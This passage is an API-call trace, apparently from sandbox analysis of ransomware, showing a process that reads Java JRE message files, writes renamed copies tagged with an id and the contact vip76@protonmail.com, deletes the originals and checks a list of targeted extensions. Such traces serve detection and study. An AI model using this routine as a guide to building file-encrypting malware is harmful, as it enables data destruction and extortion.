	[0172.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.476] lstrlenW (lpString=".1cd") returned 4
	[0172.476] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.476] lstrlenW (lpString=".jpg") returned 4
	[0172.476] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.477] lstrlenW (lpString=".doc") returned 4
	[0172.477] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.477] lstrlenW (lpString=".docx") returned 5
	[0172.477] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.477] lstrlenW (lpString=".pdf") returned 4
	[0172.477] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.477] lstrlenW (lpString=".xls") returned 4
	[0172.477] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.477] lstrlenW (lpString=".xlsx") returned 5
	[0172.477] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.477] lstrlenW (lpString=".ppt") returned 4
	[0172.477] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.477] lstrlenW (lpString=".zip") returned 4
	[0172.477] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.477] lstrlenW (lpString=".rar") returned 4
	[0172.477] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.477] lstrlenW (lpString=".bz2") returned 4
	[0172.477] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.477] lstrlenW (lpString=".7z") returned 3
	[0172.477] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.477] lstrlenW (lpString=".dbf") returned 4
	[0172.478] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.478] lstrlenW (lpString=".1cd") returned 4
	[0172.478] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.478] lstrlenW (lpString=".jpg") returned 4
	[0172.478] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.478] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0172.478] lstrlenW (lpString="messages_ja.properties") returned 22
	[0172.478] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0172.770] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=6349) returned 1
	[0172.770] CloseHandle (hObject=0x588) returned 1
	[0172.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20
	[0172.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.771] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0172.771] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.771] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.771] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0172.772] GetLastError () returned 0x0
	[0172.772] ReadFile (in: hFile=0x588, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x18cd, lpOverlapped=0x0) returned 1
	[0172.774] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x18d0, lpOverlapped=0x0) returned 1
	[0172.775] ReadFile (in: hFile=0x588, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.775] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x100, lpOverlapped=0x0) returned 1
	[0172.775] SetEndOfFile (hFile=0x5b4) returned 1
	[0172.776] CloseHandle (hObject=0x5b4) returned 1
	[0172.776] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.776] SetEndOfFile (hFile=0x588) returned 1
	[0172.779] CloseHandle (hObject=0x588) returned 1
	[0172.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0172.780] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1
	[0172.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.780] lstrlenW (lpString=".doc") returned 4
	[0172.780] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.780] lstrlenW (lpString=".docx") returned 5
	[0172.780] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.780] lstrlenW (lpString=".pdf") returned 4
	[0172.781] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.781] lstrlenW (lpString=".xls") returned 4
	[0172.781] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.781] lstrlenW (lpString=".xlsx") returned 5
	[0172.781] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.781] lstrlenW (lpString=".ppt") returned 4
	[0172.781] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.781] lstrlenW (lpString=".zip") returned 4
	[0172.781] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.781] lstrlenW (lpString=".rar") returned 4
	[0172.781] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.781] lstrlenW (lpString=".bz2") returned 4
	[0172.781] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.781] lstrlenW (lpString=".7z") returned 3
	[0172.781] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.781] lstrlenW (lpString=".dbf") returned 4
	[0172.781] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.781] lstrlenW (lpString=".1cd") returned 4
	[0172.781] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.781] lstrlenW (lpString=".jpg") returned 4
	[0172.781] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.781] lstrlenW (lpString=".doc") returned 4
	[0172.781] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.782] lstrlenW (lpString=".docx") returned 5
	[0172.782] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.782] lstrlenW (lpString=".pdf") returned 4
	[0172.782] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.782] lstrlenW (lpString=".xls") returned 4
	[0172.782] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.782] lstrlenW (lpString=".xlsx") returned 5
	[0172.782] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.782] lstrlenW (lpString=".ppt") returned 4
	[0172.782] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.782] lstrlenW (lpString=".zip") returned 4
	[0172.782] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.782] lstrlenW (lpString=".rar") returned 4
	[0172.782] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.782] lstrlenW (lpString=".bz2") returned 4
	[0172.782] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.782] lstrlenW (lpString=".7z") returned 3
	[0172.782] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.782] lstrlenW (lpString=".dbf") returned 4
	[0172.782] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.782] lstrlenW (lpString=".1cd") returned 4
	[0172.782] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0172.782] lstrlenW (lpString=".jpg") returned 4
	[0172.782] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.783] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0172.783] lstrlenW (lpString="messages_pt_BR.properties") returned 25
	[0172.783] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0172.784] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3285) returned 1
	[0172.784] CloseHandle (hObject=0x588) returned 1
	[0172.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20
	[0172.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.784] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0172.784] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.784] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.785] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0172.785] GetLastError () returned 0x0
	[0172.785] ReadFile (in: hFile=0x588, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0xcd5, lpOverlapped=0x0) returned 1
	[0172.787] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xce0, lpOverlapped=0x0) returned 1
	[0172.788] ReadFile (in: hFile=0x588, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.788] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x106, lpOverlapped=0x0) returned 1
	[0172.788] SetEndOfFile (hFile=0x5b4) returned 1
	[0172.788] CloseHandle (hObject=0x5b4) returned 1
	[0172.788] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.788] SetEndOfFile (hFile=0x588) returned 1
	[0172.791] CloseHandle (hObject=0x588) returned 1
	[0172.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0172.791] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1
	[0172.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.792] lstrlenW (lpString=".doc") returned 4
	[0172.792] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.792] lstrlenW (lpString=".docx") returned 5
	[0172.792] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.792] lstrlenW (lpString=".pdf") returned 4
	[0172.792] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.792] lstrlenW (lpString=".xls") returned 4
	[0172.792] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.792] lstrlenW (lpString=".xlsx") returned 5
	[0172.792] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.792] lstrlenW (lpString=".ppt") returned 4
	[0172.792] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.792] lstrlenW (lpString=".zip") returned 4
	[0172.792] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.792] lstrlenW (lpString=".rar") returned 4
	[0172.792] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.792] lstrlenW (lpString=".bz2") returned 4
	[0172.792] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.792] lstrlenW (lpString=".7z") returned 3
	[0172.792] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.792] lstrlenW (lpString=".dbf") returned 4
	[0172.792] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.793] lstrlenW (lpString=".1cd") returned 4
	[0172.793] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.793] lstrlenW (lpString=".jpg") returned 4
	[0172.793] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.793] lstrlenW (lpString=".doc") returned 4
	[0172.793] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.793] lstrlenW (lpString=".docx") returned 5
	[0172.793] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.793] lstrlenW (lpString=".pdf") returned 4
	[0172.793] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.793] lstrlenW (lpString=".xls") returned 4
	[0172.793] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.793] lstrlenW (lpString=".xlsx") returned 5
	[0172.793] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.793] lstrlenW (lpString=".ppt") returned 4
	[0172.793] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.793] lstrlenW (lpString=".zip") returned 4
	[0172.793] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.793] lstrlenW (lpString=".rar") returned 4
	[0172.793] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.793] lstrlenW (lpString=".bz2") returned 4
	[0172.794] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.794] lstrlenW (lpString=".7z") returned 3
	[0172.794] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.794] lstrlenW (lpString=".dbf") returned 4
	[0172.794] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.794] lstrlenW (lpString=".1cd") returned 4
	[0172.794] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0172.794] lstrlenW (lpString=".jpg") returned 4
	[0172.794] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.794] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0172.794] lstrlenW (lpString="messages_sv.properties") returned 22
	[0172.794] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0172.795] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3409) returned 1
	[0172.795] CloseHandle (hObject=0x588) returned 1
	[0172.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20
	[0172.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.796] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0172.796] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.796] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.796] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0172.797] GetLastError () returned 0x0
	[0172.797] ReadFile (in: hFile=0x588, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0xd51, lpOverlapped=0x0) returned 1
	[0172.799] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0172.800] ReadFile (in: hFile=0x588, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.800] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x100, lpOverlapped=0x0) returned 1
	[0172.800] SetEndOfFile (hFile=0x5b4) returned 1
	[0172.800] CloseHandle (hObject=0x5b4) returned 1
	[0172.800] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.800] SetEndOfFile (hFile=0x588) returned 1
	[0172.804] CloseHandle (hObject=0x588) returned 1
	[0172.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0172.805] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1
	[0172.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0172.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0172.806] lstrlenW (lpString=".doc") returned 4
	[0172.806] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.806] lstrlenW (lpString=".docx") returned 5
	[0172.806] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.806] lstrlenW (lpString=".pdf") returned 4
	[0172.806] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.806] lstrlenW (lpString=".xls") returned 4
	[0172.806] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.806] lstrlenW (lpString=".xlsx") returned 5
	[0172.806] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.806] lstrlenW (lpString=".ppt") returned 4
	[0172.806] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0172.806] lstrlenW (lpString=".zip") returned 4
	[0172.806] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.806] lstrlenW (lpString=".rar") returned 4
	[0172.806] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.806] lstrlenW (lpString=".bz2") returned 4
	[0172.806] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.806] lstrlenW (lpString=".7z") returned 3
	[0172.806] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0172.806] lstrlenW (lpString=".dbf") returned 4
	[0172.806] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0172.806] lstrlenW (lpString=".1cd") returned 4
	[0172.807] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.807] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0172.807] lstrlenW (lpString=".jpg") returned 4
	[0172.807] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.807] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
